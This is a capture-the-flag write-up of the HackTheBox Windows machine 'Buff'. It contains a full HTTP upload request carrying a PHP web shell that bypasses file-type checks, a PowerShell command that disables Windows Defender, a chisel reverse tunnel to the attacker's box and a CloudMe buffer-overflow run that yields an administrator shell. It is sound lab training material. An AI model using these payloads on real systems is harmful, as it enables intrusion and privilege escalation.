HackTheBox: Buff
windows exploitdb powershell chisel buffer-overflowBuff is a Windows-based machine authored by egotistcalSW, with an average rating of 3.6 stars.
// Lessons Learned
- Python scripts can easily be modified to execute via a proxy such as BurpSuite, which allows you to observe and interact with them in realtime. Just add
proxies={'http':'http://localhost:8080'}to any request function (e.g..get()or.post()) and run as normal - Windows Defender was likely blocking a lot of my attempts to establish a meterpreter session. I tried numerous metasploit-native payloads, as well as nps_payload and unicorn from trustedsec, none of which worked. Once I had the administrator account and disabled real-time scanning through powershell by running
Set-MpPreference -DisableRealtimeMonitoring $true, a lot of the payloads started working. - Always start enumeration with the most obvious things (e.g. contents of user directories), especially when working on the easy machines. I burned a lot of time looking for and testing complicated, os-level exploits, when the intended solution was hidden in plain site.
// Recon
nmap -A -Pn buff.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-28 10:18 AEST
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.020s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.91 seconds
Nmap tells us there is a webserver running on 8080, and that’s really about it. I was intrigued by the output regarding a “potentially OPEN proxy”, which had me thinking about the possibility of internal network exploration via an SSRF-type attack. While the site does accept proxy requests, it doesn’t seem to forward them anywhere, so this seems to be a dead-end.
The website running on 8080 is a php-based gym/fitness portal, with a few typical CMS-like pages (products, about, contact-us, sign-in etc):
// Initial Foothold
The content on http://buff.htb:8080/contact.php mentions the site was “Made using Gym Management Software 1.0”. After chasing down a number of other dead-ends found via gobuster, checking Apache & PHP vulnerabilities etc I discovered the software is vulnerable to unauthenticated RCE, that exploits the lack of authentication & poor validation in the file upload feature. A faster way to find this would have been to just use searchsploit):
searchsploit gym management
------------------------------------------------------------------ -----------------------
Exploit Title | Path
------------------------------------------------------------------ -----------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------ -----------------------
Shellcodes: No Results
The exploit script is written in python, and the comments give a good explanation of how it works. The validation of the upload code is weak in a number of ways:
- there is no login check, and the file can be uploaded to whatever value is specified as
id - the allow list
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");is only enforced against the last filename segment, meaning it can be easily bypassed e.g.shell.php.jpg - the file-type check can be easily bypassed by prefixing the payload with bytes that mask the filetype, in this case the png magic bytes
\x89\x50\x4e\x47\x0d\x0a\x1a
I always prefer to try and craft my own payload for exploits like these rather than just blindly running them, as it can often give you useful ideas for future boxes. After a bit of tinkering, I took the POST request that the script would run and came up with this:
POST /upload.php?id=soma HTTP/1.1
Host: buff.htb:8080
Content-Length: 614
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://buff.htb:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySoma
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://buff.htb:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: sec_session_id=m9u68nrj8855rravcvca3i6pb9
Connection: close
------WebKitFormBoundarySoma
Content-Disposition: form-data; name="file"; filename="soma.php.png"
Content-Type: image/png
\x89\x50\x4e\x47\x0d\x0a\x1a
<html>
<body>
<form method="POST" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_POST['cmd']))
{
system($_POST['cmd'].' 2>&1');
}
?>
</pre>
</body>
</html>
------WebKitFormBoundarySoma
Content-Disposition: form-data; name="pupload"
upload
------WebKitFormBoundarySoma
It’s quite similar to the original, but with a few useful differences:
- You get a nice HTML form to enter your commands into, which is helpful in avoiding terminal quirks that slow things down (e.g delete key not working as expected)
- The form is POST-based, which would help prevent any commands run from appearing in webserver logs as they might if we were using GET requests
- adding
2>&1to the end of each command automatically redirects STDERR (standard error) to STDOUT (standard output), so if a command fails for any reason, we can see why
We now have a shell onto the machine as user shaun, and can find the user key in the usual location:
// Privilege Escalation
WinPEAS is a great place to start looking for ways to achieve higher access, and is easily uploaded through our shell using curl. Nothing really obvious stood out, so I also grabbed the output of the systeminfo command and ran it against windows-exploit-suggester. Again there were a number of possible vectors, including UAC bypasses that this version of Windows might be vulnerable to, but nothing I could pull off. Windows Defender also seems to be running, which thwarted any attempt to setup a meterpreter shell in metasploit that might help test other possible exploits.
Eventually I took the much simpler route of just browsing the user folders, and found an interesting application in the user’s Downloads folder:
C:\xampp\htdocs\gym\upload>dir C:\users\shaun\Downloads
dir C:\users\shaun\Downloads
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\users\shaun\Downloads
14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
1 File(s) 17,830,824 bytes
2 Dir(s) 9,687,912,448 bytes free
Like before, checking for this application in searchsploit was the right way forward:
searchsploit cloudme
--------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
Achieving administrator access on a box called “buff” via a buffer overflow seems pretty obvious in hindsight =) The exploit script explains that it expects to be run against port 8888, which is where the CloudMe service shoud be running. This port didn’t show up in the inital nmap scan, but running netstat on the box itself explains why:
netstat -an | findstr 8888
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING
The server is running, but only listening on the localhost interface. We could try and upload the exploit to the machine and run it locally, but python isn’t available on the machine. A cleaner solution is to use chisel, a client/server tunnel that operates over HTTP, and will allows us to run the script locally. We first need to download and run the server on our attack box:
chisel server --reverse --port 9002
2022/01/27 14:32:46 server: Reverse tunnelling enabled
2022/01/27 14:32:46 server: Fingerprint zAFXCjhnbH+Fv2xAVPyYkRB3G2PQWw3ke5fO9yxPUs0=
2022/01/27 14:32:46 server: Listening on http://0.0.0.0:9002
2022/01/27 14:34:34 server: session#1: tun: proxy#R:8888=>localhost:8888: Listening
and then upload the client to the target, and run it in client mode with the port-forwarding rule we want to use:
.\chisel.exe client 10.10.17.230:9002 R:8888:localhost:8888
2022/01/27 04:36:00 client: Connecting to ws://10.10.17.230:9002
2022/01/27 04:36:00 client: Connected (Latency 37.5591ms)
We can now run the exploit script on our attack box, and the specified ip & port 127.0.0.1:8888 will be forwarded across to the target box:
$ python 48389.py
Connection from 10.10.10.198:49716
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
From here, we can access the root key in the usual location:
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
37******************************
